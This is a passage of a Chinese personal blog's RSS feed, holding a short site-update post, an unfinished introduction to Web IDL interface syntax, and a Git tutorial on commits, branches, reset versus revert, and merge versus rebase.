后，我的体验只有三点：快，快，还是TMD快！之前 Azure CDN国内是香港直连，延迟大概100ms左右，虽然不能说慢，但是一个要命的问题是基础版的命中率太低了，很容易出现TCP_MISS 降低第一次打开时候的体验，相比之下腾讯云在缓存稳定后命中率能有80%，而且延迟只有10ms左右，高下立判。</p><p>另外因为备案后条条框框就多了很多，所以目前本博客的评论系统暂时关闭，考虑未来采用一些第三方的评论系统然后把整个博客扔到github pages上，但是我还是喜欢把博客所有数据自己保存，因此目前大方向还没有定。想讨论的可以去<ahref="/about/">关于</a>页面找到我的联系方式。</p><h2 id="next-升级">NexT 升级</h2><p>实际上时间主要就是花在了 NexT 升级上，因为我 NexT有一年多没有动了，直接落下了 800+ 的 commit，再加上我的各种hack，我merge 做到一半就直接放弃了，直接从头配了一遍。</p><p>带来最大的变化相信各位读者已经注意到了，那就是Darkmode，这得益于升级了NexT，不得不说作为一个程序员还是要偏爱深色模式的。</p><p>另外代码块也设置了相应的主题避免突然瞎眼:)。</p><h2 id="rss">RSS</h2><p>现在博客已经支持 <a href="/atom.xml">RSS</a>了，各位读者可以自行订阅。</p><p>或者可以尝试 <a href="/rss2.xml">RSS2</a>。</p><h2 id="英文博客">英文博客</h2><p>其实让我下定决心备案的另外一个原因就是我另外开了一个英文博客挂在github pages 上，所以这个博客就专心给国内用户提供服务了。</p><p>英文博客的地址为 https://blog.lazym.io，目前在写一些有意思的东西，欢迎关注。</p><h2 id="小结">小结</h2><p>虽然看起来花了很多时间，但是实际上做的事情也并不多，希望接下来能给各位读者带来满意的知识输出。</p>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E7%94%9F%E6%B4%BB/">生活</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E7%94%9F%E6%B4%BB/%E5%8D%9A%E5%AE%A2/">博客</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/%E5%8D%9A%E5%AE%A2/">博客</category>
      
      
      <comments>http://blog.ihomura.cn/2020/06/11/%E6%9C%89%E5%85%B3%E5%8D%9A%E5%AE%A2%E7%9A%84%E4%B8%80%E4%BA%9B%E7%A2%8E%E7%A2%8E%E5%BF%B5/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Web IDL 简介</title>
      <link>http://blog.ihomura.cn/2019/07/29/Web-IDL-%E7%AE%80%E4%BB%8B/</link>
      <guid>http://blog.ihomura.cn/2019/07/29/Web-IDL-%E7%AE%80%E4%BB%8B/</guid>
      <pubDate>Mon, 29 Jul 2019 12:03:48 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;最近研究 Chromium 和 HTML 标准，不可避免的就接触到了 Web
IDL，这里就总结性的聊聊吧，也当是学习笔记了。&lt;/p&gt;
&lt;p&gt;本文几乎就是照搬现在 Web IDL
的标准，但也不是简单的翻译&lt;del&gt;也翻译不准&lt;/del&gt;。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>最近研究 Chromium 和 HTML 标准，不可避免的就接触到了 WebIDL，这里就总结性的聊聊吧，也当是学习笔记了。</p><p>本文几乎就是照搬现在 Web IDL的标准，但也不是简单的翻译<del>也翻译不准</del>。</p><span id="more"></span><h2 id="简介">简介</h2><p>Web IDL 全称 Web Interface Definition Language。现在 Web IDL只有第一版，是 W3C 2016年出的，然而现在几乎没有人用它，大家用的都是还在草案阶段的第二版。这里忍不住道一点题外话，之前W3C 和 WHATWG 闹掰，W3C 的想法是在积累一定的 Fix 后就固定版本而 WHATWG希望是对标准不断修补，结果 HTML5 标准一直有两个，直到今年 5 月底 W3C 和WHATWG 才宣布共同维护一个标准。而在 Web IDL第二版草案成为实质标准的现在可以看出，搞个固定的版本明显是没人喜欢用的，大家还是喜欢最新的标准，像以前HTML1 - HTML4 那种一个版本一个脚印的时代已经不存在了，不太理解 W3C的想法。</p><p>说回正题，那么为什么需要 Web IDL？首先在 Web IDL之前已经有一种类似的语言叫做 OMGIDL 用来定义 W3C各个标准中的各种对象，然而由于 ECMAScript定义并不够精确所以在互相操作和使用的过程中出现了问题，并且每个标准总是在用OMGIDL 重复描述一些常见的对象造成了冗余，为了解决这些问题就有了 WebIDL。所以 Web IDL 的主要目标是</p><ul><li>精确定义浏览器内部各种接口</li><li>严谨定义 ECMAScript 和 Web IDL 的绑定</li></ul><p>围绕着这两方面，Web IDL 的标准主要有两部分：Interface definitionlanguage 和 ECMAScript bindings。</p><h2 id="idl">IDL</h2><h3 id="identifier">Identifier</h3><p>Web IDL的标识符很简单，稍微特殊一点的是，一般的属性标识符应该避免以下划线开头因为以下划线开头的标识符是保留标识符，而且标识符开头的下划线会被移除。这样说有点抽象，不如看个例子。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Typedef identifier: &quot;number&quot;</span></span><br><span class="line">typedef <span class="type">double</span> number;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Interface identifier: &quot;System&quot;</span></span><br><span class="line">[Exposed=Window]</span><br><span class="line"><span class="keyword">interface</span> <span class="title class_">System</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Operation identifier:          &quot;createObject&quot;</span></span><br><span class="line">  <span class="comment">// Operation argument identifier: &quot;interface&quot;</span></span><br><span class="line">  object <span class="title function_">createObject</span><span class="params">(DOMString _interface)</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Operation argument identifier: &quot;interface&quot;</span></span><br><span class="line">  sequence&lt;object&gt; <span class="title function_">getObjects</span><span class="params">(DOMString interface)</span>;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Operation has no identifier; it declares a getter.</span></span><br><span class="line">  getter <span class="title function_">DOMString</span> <span class="params">(DOMString keyName)</span>;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Interface identifier: &quot;TextField&quot;</span></span><br><span class="line">[Exposed=Window]</span><br><span class="line"><span class="keyword">interface</span> <span class="title class_">TextField</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Attribute identifier: &quot;const&quot;</span></span><br><span class="line">  attribute <span class="type">boolean</span> _const;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// Attribute identifier: &quot;value&quot;</span></span><br><span class="line">  attribute DOMString? _value;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这里最后的 <code>_const</code> 实际标识符是<code>const</code>，<code>_value</code> 也是同理。</p><h3 id="interface">Interface</h3><h4 id="基础语法">基础语法</h4><p>最重要的就是接口了，Web IDL 的接口语法和 Java稍微有些类似，语法很简单。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[extended_attributes]</span><br><span class="line"><span class="keyword">interface</span> <span class="title class_">identifier</span> &#123;</span><br><span class="line">  <span class="comment">/* interface_members... */</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h4 id="partial-interface">Partial interface</h4><p>这里 interface 还支持 partial interface，熟悉 C# 的 partial class应该就马上理解了，实际上就是把一个类的定义分开写，不过文档里面提到这个特性只是为了方便书写标准设计的，实现并不一定使用。比如</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">interface</span> <span class="title class_">SomeInterface</span> &#123;</span><br><span class="line">  <span class="comment">/* interface_members... */</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">partial <span class="keyword">interface</span> <span class="title class_">SomeInterface</span> &#123;</span><br><span class="line">  <span class="comment">/* interface_members... */</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><h4 id="mixin-interface">Mixin interface</h4><p>类似的 interface 还支持 Mixin 模式。Mixin 模式有点类似 Python 的 Ducktyping，就是 OOP 中 I can 的表示方法，比如</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">interface</span> <span class="title class_">Entry</span> &#123;</span><br><span class="line">  readonly attribute unsigned <span class="type">short</span> entryType;</span><br><span class="line">  <span class="comment">// ...</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">interface</span> <span class="title class_">mixin</span> Observable &#123;</span><br><span class="line">  <span class="keyword">void</span> <span class="title function_">addEventListener</span><span class="params">(DOMString type,</span></span><br><span class="line"><span class="params">                        EventListener listener,</span></span><br><span class="line"><span class="params">                        <span class="type">boolean</span> useCapture)</span>;</span><br><span class="line">  <span class="comment">// ...</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">Entry includes Observable;</span><br></pre></td></tr></table></figure><p>这里 Entry 就包含了 Observable。</p><p>同样的 Mixin 模式也是为了方便标准的书写，并不要求在实现中使用。</p><h4 id="inherit">Inherit</h4><p>同时既然有 Mixin 自然要提到的就是继承，在 Web IDL 中 interface是支持单继承的，不支持多继承，语法如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">interface</span> <span class="title class_">identifier</span> : identifier_of_inherited_interface &#123;</span><br><span class="line">  <span class="comment">/* interface_members... */</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>有意思的是，对于 ECMAScript来说是没有继承概念的，有的只是原型链，因此标准之规定了如果有同名属性访问的是子类的属性而父类是否能访问需要看具体实现（至少ECMAScript 是可以的啦）。</p><h4 id="callback-interface">Callback interface</h4><p>实际上一个 Callback interface 并不是一个interface，这里名称问题是历史遗留问题。它的语法是</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">callback <span class="keyword">interface</span> <span class="title class_">identifier</span> &#123;</span><br><span class="line">  <span class="comment">/* interface_members... */</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>一个 callback interface 只能有一个 regularoperation，简单来说就是一个 method。</p><p>另外标准中也提到除非是描述已有的 API，不然应该用 callbackfunction，具体的后面再说。</p><h3 id="members">Members</h3><p><del>（未完待续）</del></p><p>（坑了）</p>]]></content:encoded>
      
      
      <category domain="http://blog.ihomura.cn/categories/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/">安全研究</category>
      
      <category domain="http://blog.ihomura.cn/categories/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E6%A0%87%E5%87%86%E5%AD%A6%E4%B9%A0/">标准学习</category>
      
      
      <category domain="http://blog.ihomura.cn/tags/Web-IDL/">Web IDL</category>
      
      <category domain="http://blog.ihomura.cn/tags/Web/">Web</category>
      
      
      <comments>http://blog.ihomura.cn/2019/07/29/Web-IDL-%E7%AE%80%E4%BB%8B/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Git 小结</title>
      <link>http://blog.ihomura.cn/2019/05/30/Git-%E5%B0%8F%E7%BB%93/</link>
      <guid>http://blog.ihomura.cn/2019/05/30/Git-%E5%B0%8F%E7%BB%93/</guid>
      <pubDate>Wed, 29 May 2019 18:03:06 GMT</pubDate>
      
      <description>&lt;h2 id=&quot;前言&quot;&gt;前言&lt;/h2&gt;
&lt;p&gt;本文其实是软工课程的一次作业，算是对自己之前使用 Git
的一些心得体会的总结吧。&lt;/p&gt;</description>
      
      
      
      <content:encoded><![CDATA[<h2 id="前言">前言</h2><p>本文其实是软工课程的一次作业，算是对自己之前使用 Git的一些心得体会的总结吧。</p><span id="more"></span><h2 id="基础概念">基础概念</h2><h3 id="git-是什么">Git 是什么</h3><p>在计算机或者编程相关的社区有一个词 RTFM(Read The Fucking Manual)很常见，意思是学习一个东西先去看它的手册，这对于 Git来说也是一样的。我觉得学习 Git 最好的办法就是参考 Manual，比如 Manual的第一页：</p><blockquote><p>Git is a fast, scalable, distributed revision control system with anunusually rich command set that provides both high-level operations andfull access to internals.</p></blockquote><p>可以看出 Git 的定位：Git 是一个强大的分布式版本控制工具。</p><p>这里值得强调的一点是分布式——其意义就在于每个人都可以拥有仓库完整的一个副本，并且相互独立的在各自副本上提交更改，因此即使有一天GitHub 突然消失了，只要每个人把自己代码仓库的副本拿出来就能创建第二个GitHub，这就是分布式的优势。</p><h3 id="repository-仓库">Repository 仓库</h3><p>在 git 中项目的基础单位是 Repository，一般中文翻译称为“仓库”。</p><p>创建一个仓库很简单，只要：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git init .</span><br></pre></td></tr></table></figure><p>就创建完成了。可以注意到的是此时本地出现了一个 <code>.git</code>文件夹，git 就用它来存储版本信息。</p><p>当然我们也可以获取一个远程仓库，比如：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/wtdcode/tun2socks</span><br></pre></td></tr></table></figure><p>就可以把一个远程仓库克隆到本地。这里有一个细节是 git 会根据 URL自动选择合适的协议，除了 https，git 还支持 http 和 ssh。</p><h3 id="add-添加">Add 添加</h3><p>作为一个版本控制工具，首先我们得告诉它哪些文件是属于我们项目需要管理的，比如我们在项目根目录下创建了一个<code>Readme.md</code> 希望用 git 去管理可以：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git add Readme.md</span><br></pre></td></tr></table></figure><p>把它添加到版本库。</p><h3 id="commit-提交">Commit 提交</h3><p>仅仅 <code>git add</code> 的话 git 只是知道项目有哪些文件了，但是 git还没有开始跟踪文件的更改。</p><p>比如我们向 <code>Readme.md</code> 中写入一行 <code>Hello world</code>后希望提交这次更改就可以：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git commit Readme.md -m <span class="string">&quot;My first commit!&quot;</span></span><br></pre></td></tr></table></figure><p>然后 git 会输出类似的内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[master (root-commit) e1db2a9] My first commit</span><br><span class="line"> 1 file changed, 1 insertion(+)</span><br><span class="line"> create mode 100644 Readme.md</span><br></pre></td></tr></table></figure><p>这里就创建了一次提交，它的标记是<code>e1db2a9</code>，这个标记是独立的，从某种意义上可以理解为是一个版本。</p><p>此外 git 要求每次提交必须写 commit message，因此可以用<code>-m</code> 参数写明 commit message。</p><p>在 git 中，只要被提交过的代码就一定可以找回，而且 git每次只会记录提交之间文件的变化，因此不会占用太多空间。</p><h3 id="工作区暂存区版本库">工作区、暂存区、版本库</h3><p>add 和 commit 只是 git给我们提供的抽象，只有理解这两个操作背后的实现才能更好的理解 git的工作方式。</p><p>第一个概念是工作区。工作区就是 <code>.git</code> 所在的目录但是不包括<code>.git</code> 本身，比如在上面的例子中 <code>Readme.md</code>就在工作区中。</p><p>第二个概念是暂存区，所有被 add 添加的更改都会放在暂存区中，当 commit的时候更改就会从暂存区写入仓库。</p><p>第三个概念是版本库，版本库其实包括暂存区和仓库，也可以说就是<code>.git</code> 这个目录本身。</p><p>所以现在应该理解，其实 add 和 commit就分两步把我们的更改提交到了仓库，那么暂存区的存在意义是什么？</p><p>考虑这样一个场景：为了完成功能A，修改了文件 a并且添加到了暂存区，接着突然要修复 Bug B修改了文件 a 和b，那么问题来了现在文件 a 被修改了两次但是理由是不一样的，所以 a应该被分段提交，此时暂存区就体现出来了。</p><p>由于文件 a 的第二次修改还没进入暂存区，因此可以方便的对文件 a进行提交后再添加新的修改到暂存区再提交，这样就可以分段提交了，防止两次不相关的修改被合并在一个commit。</p><h3 id="pull-和-push">pull 和 push</h3><p>前面提到 git是分布式的，但是为了协作我们往往需要让本地的仓库和远程仓库同步。</p><p>其中把本地仓库的更改同步到远程仓库可以使用:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git push</span><br></pre></td></tr></table></figure><p>而反过来从远程仓库拉取更改可以使用：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git pull</span><br></pre></td></tr></table></figure><p>其中注意的一点是 <code>git pull</code> 实际上就是<code>git fectch</code> 后立即 <code>git merge</code>，其中<code>git fetch</code> 用于拉取更改而 <code>git merge</code>用于合并潜在的冲突。</p><p>同时如果远程仓库和本地仓库有冲突，可以用 <code>git push -f</code>来让远程仓库强行和本地仓库保持同步，但是这是非常不被推荐的，因为其他协作者在pull 的时候会出现诸如冲突分歧等问题。</p><h2 id="工作流">工作流</h2><p>用 git 的最终目的还是要管理项目，而用好 git的关键我个人认为是要建立一个良好的工作流，也就是高效的协作。</p><p>下面结合我对工作流的理解介绍一下 git 的一些进阶用法。</p><h3 id="revert-vs-reset">revert VS reset</h3><p>前面提到过，只要是提交到 git的更改就一定不会丢失，那么这是怎么做到的呢？比如我们希望回到第一次提交<code>Hello world</code> 时候的版本就可以：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git reset e1db2a9</span><br></pre></td></tr></table></figure><p>其中 <code>e1db2a9</code> 就是当时提交后返回的版本号，可以通过<code>git reflog</code> 或者 <code>git log</code> 查看。</p><p>此外值得一提的是 <code>git reset</code> 也支持向后回溯，只要 commit的版本号还存在版本库中。</p><p>但是在版本回退的时候还有一个指令是<code>git revert</code>，比如我们又进行了一次提交</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> 1 &gt;&gt; Readme.md</span><br><span class="line">git add Readme.md</span><br><span class="line">git commit -m <span class="string">&quot;Test&quot;</span></span><br></pre></td></tr></table></figure><p>并且产生了一个新的 commit 版本号<code>6af2cef</code>，那么为了回退到最初 <code>Hello world</code>的状态我们就可以</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git revert 6af2cef</span><br></pre></td></tr></table></figure><p>但是和 <code>git reset</code> 不同的是 <code>git revert</code>会产生一个新的 commit 表明撤回了哪些 commit。</p><p>从效果上 <code>git revert</code> 和 <code>git reset</code>都达到了版本回退的效果，那么怎么选择呢？仍然是先看 manual：</p><blockquote><p>Note: git revert is used to record some new commits to reverse theeffect of some earlier commits (often only a faulty one). If you want tothrow away all uncommitted changes in your working directory, you shouldsee git-reset(1), particularly the --hard option.</p></blockquote><p>所以对于一个工作流来说，我个人的理解是：</p><ul><li>如果 commit 已经同步到了远程仓库，那么只选 <code>git revert</code>绝对不要 <code>git reset</code> 尤其不要<code>git push -f</code>（忽略冲突强行同步）</li><li>如果 commit还停留在本地仓库，但是要回退掉的版本是有意义的，比如一个错误决策下的feature，应该选择 <code>git revert</code>保留必要的信息（比如回退的理由）。</li><li>如果 commit还停留在本地仓库，但是要回退掉的版本是无意义的，比如一次错误的提交，那么应该选择<code>git reset</code> 来避免污染工作流。</li></ul><p>总之核心思想是，每次提交都应该对工作流是有意义的，应该避免错误的或者无意义的提交。</p><h3 id="branch-和-checkout">branch 和 checkout</h3><p>在 git 中一个重要的概念是分支。一个仓库默认分支是 master 分支。</p><p>假想这样一个情景，在产品开发的时候同时需要两个功能 A 和B，如果两个人同时在 master分支上开发难免会有各种各样的冲突，为了解决这个问题就可以：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git checkout -b featureA</span><br></pre></td></tr></table></figure><p>来建立一个新分支，这里其实等价于两步</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git branch featureA</span><br><span class="line">git checkout featureA</span><br></pre></td></tr></table></figure><p>其中 <code>git branch</code> 用于管理分支而 <code>git checkout</code>实际上是用于在分支之间切换。</p><p>这样只要两个人分别在 <code>featureA</code> 和 <code>featureB</code>上独立开发完后再合并到 <code>master</code>就可以保持一个干净的工作流了。</p><h4 id="理解分支">理解分支</h4><p>但是到这里还没有结束，我认为要想完全理解分支，用对分支必须要理解的是head。</p><p>什么是 head？其实 head就是一个引用或者说一个指针，默认每个分支都会有一个 head指向当前分支最新的提交，比如单个分支下 master 作为一个 head指向最新的提交 C：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">          master</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">A --&gt; B --&gt; C</span><br></pre></td></tr></table></figure><p>但是另外一个概念是 HEAD，它特指当前的 head，比如在上图中就是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">          master</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">A --&gt; B --&gt; C</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">           HEAD</span><br></pre></td></tr></table></figure><p>创建分支其实就是简单的增加了一个新的 head，比如创建 featureA 后现在master 和 featureA 都指向最新的提交 C：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">      master, featureA</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">A --&gt; B --&gt; C</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">           HEAD</span><br></pre></td></tr></table></figure><p>但是如果我们在 featureA 上完成了一次新的提交 D 情况就有变化了：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">          master</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">A --&gt; B --&gt; C</span><br><span class="line">             \   featureA</span><br><span class="line">              \     | </span><br><span class="line">               \    |</span><br><span class="line">                --&gt; D</span><br><span class="line">                    |</span><br><span class="line">                    |</span><br><span class="line">                   HEAD</span><br></pre></td></tr></table></figure><p>可以看到 master 没有变化，但是 featureA 和 HEAD 都移动到了最新的提交D 上。</p><p>这时候如果我们再用 <code>git checkout master</code> 移动到 master分支就变成了：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">          master</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">A --&gt; B --&gt; C</span><br><span class="line">            | \   featureA</span><br><span class="line">            |  \     | </span><br><span class="line">           HEAD \    |</span><br><span class="line">                 --&gt; D</span><br></pre></td></tr></table></figure><p>然后如果我们再在 master 上进行一次提交 E 的话就变成了：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">            master, HEAD</span><br><span class="line">                  |</span><br><span class="line">                  |</span><br><span class="line">A --&gt; B --&gt; C --&gt; E</span><br><span class="line">              \   featureA</span><br><span class="line">               \     | </span><br><span class="line">                \    |</span><br><span class="line">                 --&gt; D</span><br></pre></td></tr></table></figure><p>所以分支和提交实际上就是指针操作，理解了 head 和 HEAD就能完全理解分支。</p><h3 id="merge-vs-rebase">merge VS rebase</h3><p>刚才我们已经提到了，虽然分成了不同分支，但是最后还是要合并的，那问题来了：怎么合并？我认为这是贯穿版本控制的核心问题，也是做好工作流的关键。</p><p>上面说过 <code>git pull</code> 其实是 <code>git fetch</code> +<code>git merge</code>，实际上还有一个选项是<code>git pull -r</code>，它等于 <code>git fetch</code> +<code>git rebase</code>，这里就代表了两种不同的合并方式。</p><p>在了解合并之前，一个重要的概念是冲突。</p><p>冲突是什么？其实正如其字面意思，两个 commit 之间发生了冲突，比如在featureA 和 featureB上同时修改了一个文件的同一个位置，这时候合并就会冲突，因为 git也不知道到底谁做的修改是使用者想要的。</p><p>解决冲突的方法是一样的，<code>git merge</code> 和<code>git rebase</code> 区别在于合并的方式和对工作流的影响。</p><h4 id="fast-forward">fast-forward</h4><p>首先值得一提的是<code>fast-forward</code>，也就是对于下面这种工作流：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">          master</span><br><span class="line">            |</span><br><span class="line">            |</span><br><span class="line">A --&gt; B --&gt; C</span><br><span class="line">            | \   featureA</span><br><span class="line">            |  \     | </span><br><span class="line">           HEAD \    |</span><br><span class="line">                 --&gt; D</span><br></pre></td></tr></table></figure><p>由于其本质还是线性的，因此无论是<code>git merge featureA master</code> 还是<code>git rebase featureA master</code> 都会首先尝试<code>fast-forward</code> 方法来合并，因为只需要把 master 和 HEAD 移动到featureA 即可：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">             master, HEAD</span><br><span class="line">                  |</span><br><span class="line">                  |</span><br><span class="line">A --&gt; B --&gt; C --&gt; D</span><br><span class="line">                  |</span><br><span class="line">               featureA</span><br></pre></td></tr></table></figure><p>但是对于下面这种工作流就有区别了：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">             master, HEAD</span><br><span class="line">                  |</span><br><span class="line">                  |</span><br><span class="line">A --&gt; B --&gt; C --&gt; E</span><br><span class="line">              \   featureA</span><br><span class="line">               \     | </span><br><span class="line">                \    |</span><br><span class="line">                 --&gt; D</span><br></pre></td></tr></table></figure><h4 id="merge">merge</h4><p>无论是手工还是自动的，假设已经成功的解决了冲突，那么<code>git merge</code> 会产生一个新的提交来表示这次合并：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">                      master, HEAD</span><br><span class="line">                            |</span><br><span class="line">                            |</span><br><span class="line">A --&gt; B --&gt; C -----&gt; E ---&gt; F</span><br><span class="line">              \            /</span><br><span class="line">               \          /</span><br><span class="line">                \        /</span><br><span class="line">                 --&gt; D --</span><br><span class="line">                     |</span><br><span class="line">                     |</span><br><span class="line">                 featureA</span><br></pre></td></tr></table></figure><p>其中提交 F 有两个祖先 E 和 D 代表它是由一次 <code>merge</code>得到的。</p><h4 id="rebase">rebase</h4><p>但是如果是 <code>git rebase featureA</code>，<code>git</code>会首先找到两个分支的公共祖先 <code>C</code>，然后暂存 <code>C</code>之后所有的提交（这里只有<code>E</code>），接着把 <code>featureA</code>上 <code>C</code> 之后所有的的提交（这里只有 <code>D</code>）放到<code>master</code> 上然后再把之前暂存的提交放在其后。根据具体 rebase的情况，我们很可能得到这样的工作流：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">                  master, HEAD</span><br><span class="line">                        |</span><br><span class="line">                        |</span><br><span class="line">A --&gt; B --&gt; C --&gt; D --&gt; E&#x27;</span><br><span class="line">                  |</span><br><span class="line">               featureA</span><br></pre></td></tr></table></figure><p>可以看到跟 <code>merge</code>最大的不同就是，工作流是完全线性的。</p><h4 